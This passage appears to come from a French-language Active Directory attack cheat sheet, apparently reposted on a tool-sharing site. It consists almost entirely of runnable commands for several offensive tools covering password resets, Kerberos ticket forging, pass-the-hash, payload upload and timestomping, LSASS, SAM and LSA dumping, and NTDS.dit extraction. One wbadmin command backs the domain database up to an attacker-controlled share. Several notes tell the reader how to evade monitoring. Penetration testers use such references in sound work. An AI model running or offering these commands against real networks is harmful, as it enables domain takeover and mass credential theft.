bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 set password jdoe NewPass

# Titanis — admin sets another user's password
Kerb setpw -UserName admin -UserDomain DOMAIN -Kdc 192.168.1.1 -Password AdminPass jdoe@DOMAIN NewPass

# gopacket — admin resets another user's password (SAMR over SMB)
changepasswd -reset -altuser DOMAIN/admin -altpass AdminPass -newpass NewPass DOMAIN/[email protected]
# gopacket — admin reset via pass-the-hash
changepasswd -reset -altuser DOMAIN/admin -althash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -newpass NewPass DOMAIN/[email protected]

↑ Retour à l'index


Golden / Silver Ticket

Statut de Titanis: Aucune forge de tickets. Utilisez Metasploit auxiliary/admin/kerberos/forge_ticket (Ruby natif) ou impacket ticketer.py. ⚠️ Les tickets forgés ne peuvent actuellement pas être chargés dans Titanis via -Tgt — impacket encode les principaux de service TGT en NT_PRINCIPAL (type de nom 1) mais Titanis attend NT_SERVICE_INSTANCE (type de nom 2) ; un correctif est en attente de la part du développeur. Utilisez KRB5CCNAME + impacket (wmiexec.py -k, smbclient.py -k) directement avec les tickets forgés pour le moment.```bash

Step 1 — obtain krbtgt hash via DCSync

secretsdump.py DOMAIN/Administrator:[email protected]
-just-dc-user DOMAIN/krbtgt | grep krbtgt

Step 1 alt — pypykatz DCSync

pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:[email protected]"
--username krbtgt

Step 2a — forge golden ticket (Metasploit)

msf6 > use auxiliary/admin/kerberos/forge_ticket msf6 auxiliary(forge_ticket) > run action=FORGE_GOLDEN domain=DOMAIN.LOCAL
domain_sid=S-1-5-21-... nthash=<krbtgt_ntlm> username=Administrator

Step 2b — forge silver ticket (Metasploit)

msf6 auxiliary(forge_ticket) > run action=FORGE_SILVER domain=DOMAIN.LOCAL
domain_sid=S-1-5-21-... nthash=<service_ntlm> username=Administrator
spn=cifs/fileserver.domain.local

Step 2c — forge diamond ticket (Metasploit)

msf6 auxiliary(forge_ticket) > run action=FORGE_DIAMOND domain=DOMAIN.LOCAL
rhosts=192.168.1.1 user=jdoe password=Password123
nthash=<krbtgt_ntlm> username=Administrator

Step 2d — forge sapphire ticket (Metasploit)

msf6 auxiliary(forge_ticket) > run action=FORGE_SAPPHIRE domain=DOMAIN.LOCAL
rhosts=192.168.1.1 user=jdoe password=Password123
nthash=<krbtgt_ntlm> username=Administrator

Step 2e — forge golden ticket (impacket)

ticketer.py -nthash <krbtgt_ntlm> -domain-sid S-1-5-21-...
-domain DOMAIN.LOCAL Administrator

Step 3 — use forged ticket with impacket (Titanis cannot load externally forged ccache files)

export KRB5CCNAME=Administrator.ccache wmiexec.py -k -no-pass DOMAIN/[email protected] "whoami" smbclient.py -k -no-pass DOMAIN/[email protected]

Silver ticket (impacket) — use with KRB5CCNAME + impacket

ticketer.py -nthash <service_ntlm> -domain-sid S-1-5-21-...
-domain DOMAIN.LOCAL -spn cifs/fileserver.domain.local Administrator export KRB5CCNAME=Administrator.ccache smbclient.py -k -no-pass DOMAIN/[email protected]

Titanis — non-functional with forged tickets currently; shown for API reference only

(-Tgt rejects impacket ccache due to NT_PRINCIPAL vs NT_SERVICE_INSTANCE name type; fix pending)

Wmi exec dc01 -ha 192.168.1.1 -UserName Administrator -UserDomain DOMAIN \

-TicketCache Administrator.ccache "whoami"

Smb2Client ls \fileserver.domain.local\C$ -UserName Administrator -UserDomain DOMAIN \

-TicketCache Administrator.ccache

gopacket — golden ticket (requires krbtgt NT hash and domain SID)

ticketer -nthash <krbtgt_ntlm> -domain-sid S-1-5-21-...
-domain DOMAIN.LOCAL Administrator export KRB5CCNAME=Administrator.ccache wmiexec -k -no-pass DOMAIN/[email protected] "whoami"

gopacket — silver ticket (service account NT hash)

ticketer -nthash <service_ntlm> -domain-sid S-1-5-21-...
-domain DOMAIN.LOCAL -spn cifs/fileserver.domain.local Administrator export KRB5CCNAME=Administrator.ccache smbclient -k -no-pass DOMAIN/[email protected]

root@kitploit:~
[↑ Retour à l'index](#index)

---

## 3. Opérations SMB / Fichiers

### Lister les partages```bash
# impacket
smbclient.py -shares DOMAIN/jdoe:[email protected]

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --shares

# smbclient
smbclient -L //192.168.1.10 -U 'DOMAIN\jdoe%Password123'

# aiosmb — password
asmbshareenum "smb+ntlm-password://DOMAIN\jdoe:[email protected]"

# aiosmb — pass-the-hash
asmbshareenum "smb+ntlm-nt://DOMAIN\jdoe:[email protected]"

# aiosmb — Kerberos ccache
asmbshareenum "smb+kerberos+ccache://DOMAIN\jdoe:@192.168.1.10/?dc=192.168.1.1&ccache=jdoe.ccache"

# Titanis
Smb2Client enumshares \\192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123

# gopacket — password
smbclient -shares DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
smbclient -shares -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

↑ Retour à l'index


Parcourir / Lister les fichiers```bash

impacket

smbclient.py DOMAIN/jdoe:[email protected]

smbclient-ng

smbclient-ng -u jdoe -p Password123 --domain DOMAIN --host 192.168.1.10

aiosmb — interactive client (ls, cd, get, put, services, sessions, whoami, tasks built-in)

asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]"

aiosmb — pass-the-hash

asmbclient "smb+ntlm-nt://DOMAIN\jdoe:[email protected]"

Titanis

Smb2Client ls \192.168.1.10\Share -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client ls \192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN -Password Password123

gopacket — interactive SMB shell (ls, cd, get, put)

smbclient DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

smbclient -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ Retour à l'index](#index)

---

### Télécharger un fichier```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> get Windows\System32\drivers\etc\hosts hosts.txt

# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
  -c 'get Windows\System32\drivers\etc\hosts hosts.txt'

# aiosmb — password (full path embedded in URL after the host)
asmbgetfile "smb+ntlm-password://DOMAIN\jdoe:[email protected]/C$/Windows/System32/drivers/etc/hosts" \
  -o hosts.txt

# aiosmb — pass-the-hash
asmbgetfile "smb+ntlm-nt://DOMAIN\jdoe:[email protected]/C$/Windows/System32/drivers/etc/hosts" \
  -o hosts.txt

# Titanis
Smb2Client get \\192.168.1.10\C$\Windows\System32\drivers\etc\hosts hosts.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

↑ Back to Index


Téléchargement avec sémantique de sauvegarde

Pour les fichiers verrouillés ou protégés (NTDS.dit, SYSTEM hive, etc.).```bash

Titanis

Smb2Client get \192.168.1.10\C$\Windows\NTDS\ntds.dit ntds.dit
-UserName jdoe -UserDomain DOMAIN -Password Password123 -UseBackupSemantics

root@kitploit:~
[↑ Retour à l'index](#index)

---

### Téléverser un fichier```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> put payload.exe Windows\Temp\payload.exe

# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
  -c 'put payload.exe Windows\Temp\payload.exe'

# Titanis
Smb2Client put payload.exe \\192.168.1.10\C$\Windows\Temp\payload.exe \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

↑ Retour à l'index


Créer / Supprimer des répertoires et fichiers```bash

impacket

smbclient.py DOMAIN/jdoe:[email protected]

smb: > mkdir Windows\Temp\newdir

smb: > rmdir Windows\Temp\newdir

smb: > del Windows\Temp\file.txt

smbclient

smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' -c 'mkdir Windows\Temp\newdir' smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' -c 'rmdir Windows\Temp\newdir' smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' -c 'del Windows\Temp\file.txt'

Titanis

Smb2Client mkdir \192.168.1.10\C$\Windows\Temp\newdir -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client rmdir \192.168.1.10\C$\Windows\Temp\newdir -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client rm \192.168.1.10\C$\Windows\Temp\file.txt -UserName jdoe -UserDomain DOMAIN -Password Password123

root@kitploit:~
[↑ Retour à l'index](#index)

---

### Lister les pipes nommés```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> cd \pipe\
# smb: \pipe\> ls

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --pipe

# Titanis
Smb2Client ls \\192.168.1.10\IPC$ -UserName jdoe -UserDomain DOMAIN -Password Password123

↑ Retour à l'index


Pass the Hash — SMB```bash

impacket

smbclient.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

NetExec

netexec smb 192.168.1.10 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

aiosmb

asmbclient "smb+ntlm-nt://DOMAIN\jdoe:[email protected]"

Titanis

Smb2Client ls \192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN
-NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

root@kitploit:~
[↑ Retour à l'index](#index)

---

### SMB sur SOCKS5```bash
# impacket
proxychains smbclient.py DOMAIN/jdoe:[email protected]

# aiosmb — SOCKS5 (native, no proxychains needed)
asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]/?proxyhost=127.0.0.1&proxyport=1080"

# aiosmb — SOCKS4
asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]/?proxytype=socks4&proxyhost=127.0.0.1&proxyport=1080"

# Titanis
Smb2Client ls \\192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -Socks5 127.0.0.1:1080

↑ Retour à l'index


Énumérer les fichiers ouverts / sessions```bash

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --sessions netexec smb 192.168.1.10 -u jdoe -p Password123 --loggedon-users

aiosmb — interactive client commands

asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]"

smb> sessions

smb> files

Titanis

Smb2Client enumopenfiles \192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client enumsessions \192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123

gopacket — enumerate sessions and open files

netview DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

netview -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ Retour à l’index](#index)

---

### Timestomping de fichiers distants```bash
# smbclient-ng
smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN \
  touch --time "2022-01-01 00:00:00" C$/Windows/Temp/payload.exe

# Titanis
Smb2Client touch \\192.168.1.10\C$\Windows\Temp\payload.exe \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 -LastWriteTimestamp "2022-01-01 00:00:00"

↑ Retour à l'index


Énumération des instantanés VSS```bash

impacket — connect, switch to share, then enumerate snapshots

smbclient.py DOMAIN/jdoe:[email protected]

smb: > use c$

smb: \c$> list_snapshots

@GMT-2026.03.15-22.24.19

smbclient-ng

smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN snapshots C$

Titanis

Smb2Client enumsnapshots \192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN -Password Password123

gopacket — ⚠️ list_snapshots not implemented in gopacket smbclient (feature request pending)

Use impacket smbclient.py or native smbclient for this step

root@kitploit:~
> **Accès au chemin d'instantané @GMT :** `@GMT-...` n'est pas un répertoire réel — Windows SRV.SYS intercepte le jeton dans le chemin CREATE SMB2 et redirige vers l'instantané VSS. Les outils qui parcourent les chemins composant par composant (y compris `Smb2Client get`) obtiendront `STATUS_OBJECT_PATH_NOT_FOUND`. Utilisez smbclient.py ou le smbclient natif, qui envoient le chemin complet dans une seule requête CREATE :
>
> ```bash
> # impacket smbclient.py — enumerate then pull via snapshot path
> smbclient.py DOMAIN/jdoe:[email protected]
> # smb: \> use c$
> # smb: \c$\> list_snapshots
> # @GMT-2026.03.15-22.24.19
> # smb: \c$\> get @GMT-2026.03.15-22.24.19\Windows\NTDS\ntds.dit ntds.dit
>
> # native smbclient (Samba)
> smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
>   -c 'get @GMT-2026.03.15-22.24.19\Windows\NTDS\ntds.dit ntds.dit'
> ```

[↑ Back to Index](#index)

---

### Énumération des flux de données alternatifs NTFS (ADS)```bash
# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
  -c 'allinfo Windows\Temp\file.txt'

# smbclient-ng
smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN \
  streams C$/Windows/Temp/file.txt

# Titanis
Smb2Client enumstreams \\192.168.1.10\C$\Windows\Temp\file.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

↑ Retour à l'index


Énumération des cartes réseau du serveur```bash

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --interfaces

smbclient-ng

smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN nics

Titanis

Smb2Client enumnics \192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123

root@kitploit:~
[↑ Retour à l’index](#index)

---

### Énumération des partages en masse```bash
# NetExec
netexec smb 192.168.1.0/24 -u jdoe -p Password123 --shares

# aiosmb — async subnet scanner (faster than looping)
# syntax: asmbscanner [global_opts] {file|brute|list} <url> <ip/cidr>
# results written to TSV files in output dir (-o dir, default: current dir)
asmbscanner -w 5 --no-progress file \
  "smb+ntlm-password://DOMAIN\jdoe:Password123@" 192.168.1.0/24

# aiosmb — pass-the-hash
asmbscanner -w 5 --no-progress file \
  "smb+ntlm-nt://DOMAIN\jdoe:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5@" 192.168.1.0/24

# Titanis
while IFS= read -r host; do
  echo "=== $host ==="
  smb2 enumshares "\\\\${host}" -UserName jdoe -UserDomain DOMAIN \
    -Password Password123 2>/dev/null
done < hosts.txt

↑ Back to Index


4. Extraction d'identifiants

Analyse de minidump LSASS (hors ligne)```bash

pypykatz — parse captured LSASS minidump

pypykatz lsa minidump lsass.DMP

Output to JSON

pypykatz lsa minidump lsass.DMP -o lsass_creds.json --json

Extract Kerberos tickets to ccache files (loadable via Titanis -TicketCache)

pypykatz lsa minidump lsass.DMP -k /tmp/kerberos_tickets/

Extract DPAPI masterkeys from LSASS memory

pypykatz lsa minidump lsass.DMP -o dpapi_keys.json

pypykatz — live LSASS dump + parse remotely over SMB (no minidump file needed)

pypykatz smb lsassdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]" pypykatz smb lsassdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]"

NetExec — remote LSASS dump via SMB

netexec smb 192.168.1.10 -u jdoe -p Password123 -M lsassy

root@kitploit:~
[↑ Retour à l'index](#index)

---

### Dumper les hashes SAM```bash
# impacket
secretsdump.py -sam DOMAIN/jdoe:[email protected]

# Metasploit
msf6 > use auxiliary/gather/windows_secrets_dump
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
  smbuser=jdoe smbpass=Password123 action=SAM

# Metasploit — pass-the-hash
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
  smbuser=jdoe smbpass=aad3b435b51404eeaad3b435b51404ee:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  action=SAM

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --sam

# pypykatz — remote SAM dump via SMB
pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]" --sam
pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]" --sam

# Titanis — requires -BackupSemantics even as domain admin; without it → ACCESS_DENIED
Reg dumpsam 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics

# Titanis — backup operator (no admin required, -BackupSemantics still required)
Reg dumpsam 192.168.1.10 -UserName backupuser -UserDomain DOMAIN \
  -Password Password123 -BackupSemantics

↑ Retour à l'index


Extraire les secrets LSA```bash

impacket

secretsdump.py -lsa DOMAIN/jdoe:[email protected]

Metasploit

msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN
smbuser=jdoe smbpass=Password123 action=LSA

Metasploit — pass-the-hash

msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN
smbuser=jdoe smbpass=aad3b435b51404eeaad3b435b51404ee:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
action=LSA

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --lsa

pypykatz — remote LSA secrets dump via SMB

pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]" --lsa pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]" --lsa

Titanis — requires -BackupSemantics; without it → ACCESS_DENIED

Reg dumplsasecrets 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics

root@kitploit:~
[↑ Retour à l'index](#index)

---

### Dumper SAM + LSA ensemble```bash
# impacket
secretsdump.py DOMAIN/jdoe:[email protected]

# Metasploit — ALL action (SAM + LSA + cached creds)
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
  smbuser=jdoe smbpass=Password123 action=ALL

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --sam --lsa

# pypykatz — remote registry dump via SMB
pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"
pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]"
pypykatz smb regdump "smb2+kerberos+ccache://DOMAIN\jdoe:@192.168.1.10?ccache=jdoe.ccache"

# pypykatz — remote LSASS dump + parse via SMB
pypykatz smb lsassdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"
pypykatz smb lsassdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]"

# pypykatz — combined (SAM + LSA + LSASS in one call)
pypykatz smb secretsdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"

# Titanis — requires -BackupSemantics for both; without it → ACCESS_DENIED
Reg dumpsam        192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics
Reg dumplsasecrets 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics

# gopacket — SAM + LSA + DCSync (password)
secretsdump DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
secretsdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

↑ Retour à l'index


Extraction en masse des dumps SAM / LSA sur plusieurs hôtes```bash

NetExec

netexec smb 192.168.1.0/24 -u jdoe -p Password123 --sam --lsa

NetExec — pass-the-hash

netexec smb 192.168.1.0/24 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --sam --lsa

pypykatz — combined SAM + LSA + LSASS across a host list

while IFS= read -r host; do echo "=== $host ===" >> pypykatz_dump.txt pypykatz smb secretsdump "smb2+ntlm-password://DOMAIN\jdoe:Password123@${host}"
>> pypykatz_dump.txt 2>&1 done < hosts.txt

Titanis

while IFS= read -r host; do echo "=== $host ===" | tee -a sam_dump.txt reg dumpsam "$host" -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics >> sam_dump.txt 2>&1 reg dumplsasecrets "$host" -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics >> lsa_dump.txt 2>&1 done < hosts.txt

root@kitploit:~
[↑ Retour à l'index](#index)

---

### Extraction NTDS via snapshot VSS

> Demande une copie shadow VSS sur le contrôleur de domaine (DC) et lit NTDS.dit + la ruche SYSTEM directement depuis l'instantané. N'utilise pas la réplication — utile lorsque DCSync est bloqué ou surveillé.

> **⚠️ Limitation de `-use-vss` :** le `-use-vss` de secretsdump utilise smbexec en interne pour exécuter vssadmin et collecter la sortie. La création du service smbexec nécessite le niveau d'authentification SVCCTL `PacketPrivacy`, que secretsdump ne négocie pas — la création du service échoue silencieusement et le fichier de sortie n'est jamais écrit. Utilisez plutôt `-use-remoteSSWMI -use-remoteSSWMI-NTDS`, qui contourne entièrement SVCCTL.```bash
# impacket — VSS method (default exec via smbexec)
# ⚠️ Fails if SVCCTL requires PacketPrivacy; use -use-remoteSSWMI-NTDS instead
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss

# impacket — VSS with explicit exec method
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss \
  -exec-method wmiexec

# impacket — VSS pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] -use-vss

# impacket — VSS with output file + useful display flags
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss \
  -outputfile ntds_dump -user-status -pwd-last-set

# impacket — WMI shadow snapshot (preferred VSS method; no SVCCTL / smbexec required)
# Creates VSS copy via Win32_ShadowCopy WMI class, downloads SAM/SYSTEM/SECURITY locally
secretsdump.py DOMAIN/Administrator:[email protected] -use-remoteSSWMI

# impacket — WMI shadow snapshot including NTDS.dit (DC-specific)
# -use-remoteSSWMI-NTDS must be used together with -use-remoteSSWMI
secretsdump.py DOMAIN/Administrator:[email protected] \
  -use-remoteSSWMI -use-remoteSSWMI-NTDS

# impacket — WMI shadow pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] -use-remoteSSWMI -use-remoteSSWMI-NTDS

# NetExec — VSS method
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds vss

# NetExec — VSS pass-the-hash
netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --ntds vss

# NetExec — VSS, enabled accounts only
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds vss --enabled

# Titanis — enumerate existing snapshots
Smb2Client enumsnapshots \\192.168.1.1\C$ -UserName Administrator -UserDomain DOMAIN -Password Password123

# Retrieve files from snapshot — use token from enumsnapshots or vssadmin output
smbclient.py DOMAIN/Administrator:[email protected]
# list_snapshots C$
# get @GMT-2024.01.01-00.00.00\Windows\NTDS\ntds.dit ntds.dit
# get @GMT-2024.01.01-00.00.00\Windows\System32\config\SYSTEM SYSTEM

# native smbclient (Samba)
smbclient //192.168.1.1/C$ -U 'DOMAIN\Administrator%Password123' \
  -c 'get @GMT-2024.01.01-00.00.00\Windows\NTDS\ntds.dit ntds.dit'
smbclient //192.168.1.1/C$ -U 'DOMAIN\Administrator%Password123' \
  -c 'get @GMT-2024.01.01-00.00.00\Windows\System32\config\SYSTEM SYSTEM'

# Parse offline
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

↑ Retour à l'index


Dump NTDS via IFM (ntdsutil)

Utilise ntdsutil ifm pour créer un ensemble Install-From-Media sur le contrôleur de domaine — une opération AD légitime qui produit une copie de NTDS.dit. Moins bruyant que VSS dans certains environnements, car ntdsutil est un outil d'administration AD intégré.

⚠️ Limitation de l'exécution WMI: ntdsutil nécessite SeBackupPrivilege et une élévation complète du jeton dans le processus en cours d'exécution. Les processus lancés par WMI ne reçoivent pas de jeton entièrement élevé, même pour un administrateur de domaine — ntdsutil retourne Access is denied quelles que soient les identifiants. Si l'exécution basée sur WMI échoue, utilisez secretsdump -use-remoteSSWMI -use-remoteSSWMI-NTDS ou le LOLBin diskshadow à la place. Le module NetExec -M ntdsutil peut réussir via sa méthode d'exécution par défaut sur certaines cibles.```bash

impacket — trigger ntdsutil via wmiexec, pull files, parse

⚠️ ntdsutil must be called by full path when invoked via WMI: C:\Windows\System32\ntdsutil.exe

wmiexec.py DOMAIN/Administrator:[email protected]
"ntdsutil "ac i ntds" "ifm" "create full C:\Windows\Temp\ifm" q q"

Wait for completion, then retrieve

smbclient.py DOMAIN/Administrator:[email protected]

smb: > get Windows\Temp\ifm\Active Directory\ntds.dit ntds.dit

smb: > get Windows\Temp\ifm\registry\SYSTEM SYSTEM

NetExec — ntdsutil module (handles exec + retrieval + parsing automatically)

netexec smb 192.168.1.1 -u Administrator -p Password123 -M ntdsutil

NetExec — ntdsutil module pass-the-hash

netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -M ntdsutil

Titanis — exec via WMI, retrieve via SMB, parse offline

⚠️ WMI process token elevation issue; may return Access is denied. Use diskshadow or -use-remoteSSWMI-NTDS instead.

Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123
"C:\Windows\System32\ntdsutil.exe "ac i ntds" "ifm" "create full C:\Windows\Temp\ifm" q q" Smb2Client get "\192.168.1.1\C$\Windows\Temp\ifm\Active Directory\ntds.dit" ntds.dit
-UserName Administrator -UserDomain DOMAIN -Password Password123 Smb2Client get "\192.168.1.1\C$\Windows\Temp\ifm\registry\SYSTEM" SYSTEM
-UserName Administrator -UserDomain DOMAIN -Password Password123

Clean up

Smb2Client rmdir "\192.168.1.1\C$\Windows\Temp\ifm"
-UserName Administrator -UserDomain DOMAIN -Password Password123

Parse offline

secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

root@kitploit:~
[↑ Retour à l'index](#index)

---

### Extraction NTDS via wbadmin (Sauvegarde Windows Server)

> `wbadmin` est un LOLBin Windows intégré qui utilise VSS en interne pour sauvegarder les fichiers vers un partage réseau — aucun stockage local intermédiaire, aucun artefact d'exécution de code au-delà du travail de sauvegarde. Fonctionne pour les opérateurs de sauvegarde (aucun DA requis). Nécessite que le partage soit accessible en écriture depuis le contrôleur de domaine.

> **⚠️ Nécessite la fonctionnalité Windows `WindowsServerBackup`.** Le binaire wbadmin est présent sous forme de stub même lorsque la fonctionnalité n'est pas installée — il peut se bloquer ou échouer silencieusement. Vérifiez que la fonctionnalité est active avant de tenter l'opération : `Get-WindowsFeature WindowsServerBackup` (PowerShell) ou `DISM /online /Get-FeatureInfo /FeatureName:WindowsServerBackup`. Si `InstallState` n'est pas `Installed`, cette méthode ne fonctionnera pas.```bash
# Check feature state (run via WMI exec before proceeding)
wmiexec.py DOMAIN/Administrator:[email protected] \
  "powershell -c \"(Get-WindowsFeature WindowsServerBackup).InstallState\""

# Step 1 — trigger backup of NTDS.dit from DC to an attacker-controlled share
# (run via wmiexec / scm / any exec method)
wmiexec.py DOMAIN/Administrator:[email protected] \
  "wbadmin start backup -backupTarget:\\\\<attacker-ip>\\share -include:C:\\Windows\\NTDS\\ntds.dit -quiet"

# Titanis — exec via WMI
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123 \
  "wbadmin start backup -backupTarget:\\\\<attacker-ip>\\share -include:C:\\Windows\\NTDS\\ntds.dit -quiet"

# Step 2 — list backup versions to get the version identifier
wmiexec.py DOMAIN/Administrator:[email protected] "wbadmin get versions"

# Step 3 — recover the NTDS.dit from the backup
wmiexec.py DOMAIN/Administrator:[email protected] \
  "wbadmin start recovery -version:<VERSION> -items:C:\\Windows\\NTDS\\ntds.dit \
  -itemType:File -recoveryTarget:C:\\Windows\\Temp\\ -notRestoreAcl -quiet"

# Step 4 — also need SYSTEM hive
wmiexec.py DOMAIN/Administrator:[email protected] \
  "reg save HKLM\\SYSTEM C:\\Windows\\Temp\\SYSTEM"

# Step 5 — retrieve both files and parse offline
Smb2Client get "\\192.168.1.1\C$\Windows\Temp\ntds.dit" ntds.dit \
  -UserName Administrator -UserDomain DOMAIN -Password Password123
Smb2Client get "\\192.168.1.1\C$\Windows\Temp\SYSTEM" SYSTEM \
  -UserName Administrator -UserDomain DOMAIN -Password Password123
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

↑ Retour à l'index


Dump NTDS via Diskshadow

diskshadow.exe est un LOLBin Windows intégré qui interagit directement avec VSS. Utile lorsque vssadmin est bloqué ou surveillé — diskshadow est moins souvent signalé. Les Backup Operators peuvent l'utiliser sans DA complet. Nécessite le téléversement d'un fichier de script sur le DC.

⚠️ Le fichier de script doit avoir des fins de ligne CRLF. diskshadow.exe rejette les scripts avec uniquement des fins de ligne LF. Exécutez unix2dos shadow.dsh avant le téléversement, ou créez le fichier avec printf en utilisant explicitement \r\n.

⚠️ Note sur la redirection Wmi exec de Titanis : N'incluez pas > dans l'argument de la commande Wmi exec — Titanis analyse > de manière spéciale et la création du processus échoue avec ERROR_FILE_NOT_FOUND. Si vous devez capturer la sortie, écrivez un fichier .bat contenant la redirection et téléversez-le séparément, puis exécutez le fichier bat.```bash

Step 1 — create diskshadow script locally (CRLF required)

cat > shadow.dsh << 'EOF' set context persistent nowriters set metadata C:\Windows\Temp\meta.cab add volume C: alias trophy create expose %trophy% Z: EOF unix2dos shadow.dsh # ← required; diskshadow rejects LF-only scripts

Step 2 — upload script to DC

smbclient.py DOMAIN/Administrator:[email protected]

smb: > put shadow.dsh Windows\Temp\shadow.dsh

Titanis — upload

Smb2Client put shadow.dsh "\192.168.1.1\C$\Windows\Temp\shadow.dsh"
-UserName Administrator -UserDomain DOMAIN -Password Password123

Step 3 — execute diskshadow and copy NTDS.dit

wmiexec.py DOMAIN/Administrator:[email protected]
"diskshadow.exe /s C:\Windows\Temp\shadow.dsh" wmiexec.py DOMAIN/Administrator:[email protected]
